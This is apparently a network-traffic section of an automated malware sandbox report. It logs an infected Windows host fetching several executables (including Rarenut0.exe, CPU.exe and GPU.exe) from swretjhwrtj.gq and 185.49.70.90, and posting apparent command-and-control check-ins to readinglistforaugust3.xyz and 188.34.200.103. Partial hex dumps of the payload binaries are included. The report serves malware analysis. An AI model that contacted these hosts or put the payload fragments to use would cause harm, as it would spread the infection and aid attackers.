e6 0f ac 86 cd 87 3b fe e1 39 be 29 cb 6b 8d d3 13 ac ed 9a e3 cf 59 ad 37 fc 83 b0 bc af 0c b6 40 bc 36 85 ac 3d eb 95 d9 ac d0 90 bb ec b0 70 02 81 8c 28 3c d6 ef ff e6 84 27 ed 5c 88 3b c2 00 67 95 39 1c cb dc 34 29 98 ab d6 f1 57 2a 46 8e d8 15 38 83 23 30 c2 92 74 6d 82 41 10 6b 7b e7 1e 70 5e 98 3d 88 db 84 38 58 d4 45 e3 47 dd 03 f3 a9 09 70 4c 93 54 df 19 35 a5 1c ff 10 dd ad fd c3 60 29 b9 fd ea 7d 9f e9 af dc 70 d4 1c 5a 5a 5a 1d 4c ce b9 98 e5 de b6 a1 82 43 a9 fa 75 b8 86 9d 48 66 a8 9c b3 Data Ascii: 3ff66w,Ct# [ubbxB"#z+ZQ787.R#T,dC?\|hCx1CrVOsb}_JVHPhc-4r\|82oN#(E2_cySrb42Azx01O4Yqc"OJ/.F44{'0gUZPWjC`#2/f-eV"vmL4=UMgR"'x:tQ'HC&_bfB-\1ZORT@`?h2x>]'i}zTQ^6P09eTg]][6e=gp$Ms#LeyfVzy\|fx-y"I%6%&.]@+hg{rd&'d'Uw^btN<BWN1!;I'=aY_Cky:SOO:^5hDc3/gxM$uVFEO"mu/[%QW0LryecB1t\|(I#N&Wm3Kf7DA`6'T$zZac(QcN7:bDy4u/[xykN97~X-l8E`V`dGqqA'oeDP]~X-$AgfVDKla)xZS%KV@(f2%%{n012#rt'N#;9)kY7@6=p(<'\;g94)W*F8#0tmAk{p^=8XEGpLT5`)}pZZZLCuHf
Aug 24, 2021 14:01:41.331109047 CEST	11824	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 262 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:41.380675077 CEST	11839	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:41.457601070 CEST	11839	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 326 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:41.505036116 CEST	11841	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 59 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 00 00 a7 a2 7f d5 7f 6b 10 19 36 87 8f bf a7 46 90 6c 01 4d f5 22 11 12 63 da 07 53 ee a8 90 c2 3d 8f 9d ae 10 d3 d4 f9 bb 4d 61 f3 8d 83 11 b8 72 65 4a 44 09 1d 3d 90 34 fb 52 Data Ascii: k6FlM"cS=MareJD=4R

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49724	172.67.216.236	80	C:\Users\user\AppData\Local\Temp\66AE.exe

Timestamp	kBytes transferred	Direction	Data
Aug 24, 2021 14:01:36.950345039 CEST	10735	OUT	GET /@Rarenut0.exe HTTP/1.1 Host: swretjhwrtj.gq Connection: Keep-Alive
Aug 24, 2021 14:01:36.983944893 CEST	10737	IN	HTTP/1.1 200 OK Date: Tue, 24 Aug 2021 12:01:36 GMT Content-Type: application/x-msdos-program Content-Length: 425984 Connection: keep-alive last-modified: Tue, 24 Aug 2021 10:48:01 GMT etag: "68000-5ca4bde201620" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1748 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vKk%2BZCyDYqZHpZousO3sxetlBbhk7Wjv%2FvbT6ck4%2FyazX8oL76v2XKGAdnE65QuQ5beW8LcJvOdw0TpBo3KGrdEhh40ck6DAcO2SOP9JhsLv9db4FJDyQ89qj72ewJZhEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 683c6d4dfdaa5bf5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 69 43 e9 f3 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 74 06 00 00 7c 06 00 00 00 00 00 a2 93 06 00 00 20 00 00 00 c0 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 06 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 48 93 06 00 57 00 00 00 00 a0 06 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 73 06 00 00 20 00 00 00 74 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 88 06 00 00 00 a0 06 00 00 08 00 00 00 76 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 06 00 00 02 00 00 00 7e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 93 06 00 00 00 00 00 48 00 00 00 02 00 05 00 38 e4 03 00 7c 4c 00 00 01 00 00 00 02 00 00 06 bc 58 04 00 8c 3a 02 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiCt\| @ @HW H.texts t `.rsrcv@@.reloc~@BH8\|LX:
Aug 24, 2021 14:01:36.983983994 CEST	10738	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0R @
Aug 24, 2021 14:01:36.983997107 CEST	10740	IN	Data Raw: 03 02 7b 18 00 00 04 28 37 00 00 0a 0a 2b 29 03 02 7b 18 00 00 04 28 38 00 00 0a 0a 2b 1a 03 02 7b 18 00 00 04 28 39 00 00 0a 0a 2b 0b 72 65 00 00 70 73 2e 00 00 0a 7a 06 2a 13 30 02 00 49 00 00 00 04 00 00 11 02 7b 17 00 00 04 0b 07 45 03 00 00 Data Ascii: {(7+){(8+{(9+reps.z0I{E+o+o+o+rps.z((*0(:,G}%rp%~;(<%%~;(<%rp(=}
Aug 24, 2021 14:01:36.984009981 CEST	10741	IN	Data Raw: 4c 00 00 0a 7a 02 02 7b 1f 00 00 04 1f 20 60 7d 1f 00 00 04 38 81 00 00 00 02 7b 1f 00 00 04 20 00 20 00 00 5f 2c 1b 72 d5 01 00 70 08 8c 7f 00 00 01 28 4b 00 00 0a 72 ff 01 00 70 73 4c 00 00 0a 7a 02 02 7b 1f 00 00 04 20 00 20 00 00 60 7d 1f 00 Data Ascii: Lz{ `}8{ _,rp(KrpsLz{ `}+D{ _,rp(KrpsLz{ `}+s.zXoF?G*0As(%rpo){ (;o)rapo)(!o)&
Aug 24, 2021 14:01:36.984021902 CEST	10742	IN	Data Raw: 00 70 28 4f 00 00 0a 0b 72 61 00 00 70 7e 55 03 00 04 28 49 00 00 0a 0c 07 08 72 db 03 00 70 28 4f 00 00 0a 2a 00 1b 30 06 00 81 09 00 00 0d 00 00 11 02 2d 02 14 2a 02 28 32 00 00 06 10 00 02 72 61 00 00 70 6f 50 00 00 0a 15 33 0d 72 df 03 00 70 Data Ascii: p(Orap~U(Irp(O0-(2rapoP3rp(IoQ% %oRi/s.zsSsToU8oV(T )4]B ,5C 5 ); ;u8!
Aug 24, 2021 14:01:36.986258984 CEST	10744	IN	Data Raw: 5a 00 00 0a a5 04 00 00 02 7d 17 00 00 04 25 d0 05 00 00 02 28 25 00 00 0a 06 11 06 17 58 9a 28 3c 00 00 06 a5 05 00 00 02 7d 16 00 00 04 25 11 08 7d 18 00 00 04 0b 11 06 18 58 13 06 11 04 18 6f 55 00 00 0a 38 aa 03 00 00 06 8e 69 11 06 18 58 30 Data Ascii: Z}%(%X(<}%}XoU8iX0rapiY(Ys.zjXoJrpo_,$oFYo`(a jZ8DoJrpo_,$oFYo`(a jZ8oJrpo
Aug 24, 2021 14:01:36.986277103 CEST	10745	IN	Data Raw: 06 2c 07 06 09 6f 67 00 00 0a 08 17 58 0c 08 07 8e 69 32 e2 04 2c 52 03 28 68 00 00 0a 0b 16 0c 2b 41 07 08 9a 13 04 02 28 30 00 00 06 2d 0f 11 04 28 4d 00 00 0a 20 00 04 00 00 5f 2d 21 02 11 04 28 35 00 00 06 2c 08 06 11 04 6f 67 00 00 0a 06 02 Data Ascii: ,ogXi2,R(h+A(0-(M _-!(5,og(7oiXi2&&oj'(6{$o0J-rypskzslo+o(8,omo-,
Aug 24, 2021 14:01:36.986288071 CEST	10746	IN	Data Raw: 00 09 0c 03 06 17 58 18 5a 17 58 92 0d 11 04 17 58 25 13 04 11 05 2f 07 08 09 3b b3 00 00 00 11 04 11 06 2f 1a 02 7b 64 00 00 04 08 18 5a 02 7b 64 00 00 04 08 18 5a 92 11 04 58 68 9d 2b 6d 08 2c 32 08 07 2e 14 02 7b 64 00 00 04 08 18 5a 8f 88 00 Data Ascii: XZXX%/;/{dZ{dZXh+m,2.{dZ%HXhS{d~.Z%HXhS+80{d~/Z%HXhS+{d~0Z%HXhS- +3+X>$*0z{b
Aug 24, 2021 14:01:36.986300945 CEST	10748	IN	Data Raw: 5a 8f 88 00 00 01 25 48 17 58 68 53 02 7b 63 00 00 04 03 28 d7 00 00 06 18 5a 8f 88 00 00 01 25 48 17 58 68 53 02 7b 6f 00 00 04 20 ff 1f 00 00 5f 2d 68 02 7b 60 00 00 04 18 31 5f 02 7b 6f 00 00 04 19 62 0a 02 7b 5c 00 00 04 02 7b 57 00 00 04 59 Data Ascii: Z%HXhS{c(Z%HXhS{o _-h{`1_{ob{\{WY+ j{cZjj~jXZXiX~)2c{s{o[/[/{o{nY.{o{n*0{o9{pZX{Fb
Aug 24, 2021 14:01:36.986313105 CEST	10749	IN	Data Raw: ff 16 2a 02 03 1a fe 01 28 52 00 00 06 02 7b 44 00 00 04 7b 59 01 00 04 2d 08 03 1a 2e 02 16 2a 18 2a 03 1a 2e 02 17 2a 19 2a 82 02 7e 38 00 00 04 17 62 05 2d 03 16 2b 01 17 58 19 28 4a 00 00 06 02 03 04 17 28 51 00 00 06 2a 00 13 30 05 00 01 01 Data Ascii: (R{D{Y-..~8b-+X(J(Q0{`1T{I~=3(N{eo{fo(E{qXXc{rXXc0+X%X0.(T+w3(~9b-+X(J~1~
Aug 24, 2021 14:01:36.986325979 CEST	10750	IN	Data Raw: 02 7b 5c 00 00 04 02 7b 4d 00 00 04 5f 02 7b 51 00 00 04 02 7b 52 00 00 04 92 9d 02 7b 51 00 00 04 02 7b 52 00 00 04 02 7b 5c 00 00 04 68 9d 02 02 7b 59 00 00 04 17 59 0c 08 7d 59 00 00 04 08 3a 5a ff ff ff 02 02 7b 5c 00 00 04 17 58 7d 5c 00 00 Data Ascii: {\{M_{Q{R{Q{R{\h{YY}Y:Z{\X}\8{\{YX}\}Y{N{\ _}R{R{V_b{N{\X _a{U_}R+7{N{\ _(L{^Y}^{\X}
Aug 24, 2021 14:01:43.681451082 CEST	13181	OUT	GET /CPU.exe HTTP/1.1 Host: swretjhwrtj.gq
Aug 24, 2021 14:01:43.705542088 CEST	13350	IN	HTTP/1.1 200 OK Date: Tue, 24 Aug 2021 12:01:43 GMT Content-Type: application/x-msdos-program Content-Length: 2287104 Connection: keep-alive last-modified: Mon, 23 Aug 2021 21:11:21 GMT etag: "22e600-5ca4075819ea0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3659 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=miBbkT3HcxVTy40wPQr%2Bvis3bbfncPJc8tJhcZERM6cjLmvP1%2BTbylFDolj9o%2FaGEKjhcy%2BXF76mZQGk8LoFCXIWIi7FxpAZGjVc567u9X01Eo3cNH32oh53DGAzmgaa%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 683c6d780b9b5bf5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 69 43 e9 f3 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 da 22 00 00 e2 22 00 00 00 00 00 86 f9 22 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 23 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 f9 22 00 57 00 00 00 00 00 23 00 70 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 23 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 98 d9 22 00 00 20 00 00 00 da 22 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 70 06 00 00 00 00 23 00 00 08 00 00 00 dc 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 23 00 00 02 00 00 00 e4 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 68 f9 22 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 54 28 00 00 8c 4c 00 00 01 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdiC"""" @ @#@"W#p # H.text" " `.rsrcp#"@@.reloc #"@Bh"HT(L
Aug 24, 2021 14:01:50.784425974 CEST	16485	OUT	GET /GPU.exe HTTP/1.1 Host: swretjhwrtj.gq
Aug 24, 2021 14:01:50.807065010 CEST	16487	IN	HTTP/1.1 200 OK Date: Tue, 24 Aug 2021 12:01:50 GMT Content-Type: application/x-msdos-program Content-Length: 2172928 Connection: keep-alive last-modified: Mon, 23 Aug 2021 21:11:24 GMT etag: "212800-5ca4075aaa2a0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3664 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2nSd6f4XgrJu4nLdzwRxCrZF6hdKMqfvP45SQg72HvDY6OXmURvByV40B%2FtDLTbyFS9QDJlo2%2FCPrY%2BNdw8KulF0nSQqLg%2Fk00R5l2ZNOmqAbnsRPoZYEHLbtjhtsAA7iQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 683c6da47cde5bf5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 69 43 e9 f3 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 1c 21 00 00 24 21 00 00 00 00 00 26 3b 21 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 21 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b8 3a 21 00 57 00 00 00 00 40 21 00 cc 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 21 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 38 1b 21 00 00 20 00 00 00 1c 21 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 cc 06 00 00 00 40 21 00 00 08 00 00 00 1e 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 21 00 00 02 00 00 00 26 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 08 3b 21 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 54 28 00 00 5c 4c 00 00 01 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdiC"!$!&;! @ !@:!W@!`! H.text8! ! `.rsrc@!!@@.reloc`!&!@B;!HT(\L

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49725	185.49.70.90	2080	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 24, 2021 14:01:38.398972988 CEST	11183	OUT	GET /5.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.49.70.90:2080
Aug 24, 2021 14:01:38.424586058 CEST	11184	IN	HTTP/1.1 200 OK Date: Tue, 24 Aug 2021 12:01:38 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Transfer-Encoding: Binary Content-disposition: attachment; filename="i6om44hzj63av.exe" Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 32 37 65 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 8a 1a e8 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 52 01 00 00 60 8a 02 00 00 00 00 1a 24 00 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 8b 02 00 04 00 00 09 81 02 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 50 b0 01 00 4f 00 00 00 30 a6 01 00 3c 00 00 00 00 c0 8a 02 a0 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 71 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 8d 01 00 18 00 00 00 20 8d 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b1 50 01 00 00 10 00 00 00 52 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9f 40 00 00 00 70 01 00 00 42 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 f2 88 02 00 c0 01 00 00 3a 00 00 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a0 aa 00 00 00 c0 8a 02 00 ac 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 27e00MZ@!L!This program cannot be run in DOS mode.$PEL_R`$p@pPO0<qh @p.textPR `.rdata@pBV@@.data8:@.rsrc@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49728	188.34.200.103	80	C:\Users\user\AppData\Local\Temp\6A0A.exe

Timestamp	kBytes transferred	Direction	Data
Aug 24, 2021 14:01:42.379235983 CEST	11842	OUT	POST /824 HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A Content-Length: 25 Host: 188.34.200.103 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Aug 24, 2021 14:01:42.495706081 CEST	11842	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 39 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 3d 8c c1 0e c2 20 0c 86 9f 66 17 62 08 cc 78 81 a3 7a f2 30 13 e7 cd 4b 05 9c cb 20 10 28 ce bd bd 8c 25 f6 4f fa 7d 4d da f2 1d ff 87 95 ac 6c 0f 85 6b c9 e6 74 be 5d fa ee da 3c 24 a1 f8 45 41 a8 86 d2 67 b0 d6 20 a1 44 90 f6 05 95 4f 50 53 0e 55 95 d7 a6 4a 80 94 66 1f 75 1d 20 e3 bb ca e0 fd 60 b7 85 8c aa f2 de 1f b7 cb b8 84 ed ed 64 96 42 c9 19 93 18 b3 91 ce 7f 46 93 84 cb 69 54 c2 85 bd fc 01 a5 24 5a 32 b9 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 99= fbxz0K (%O}Mlkt]<$EAg DOPSUJfu `dBFiT$Z20
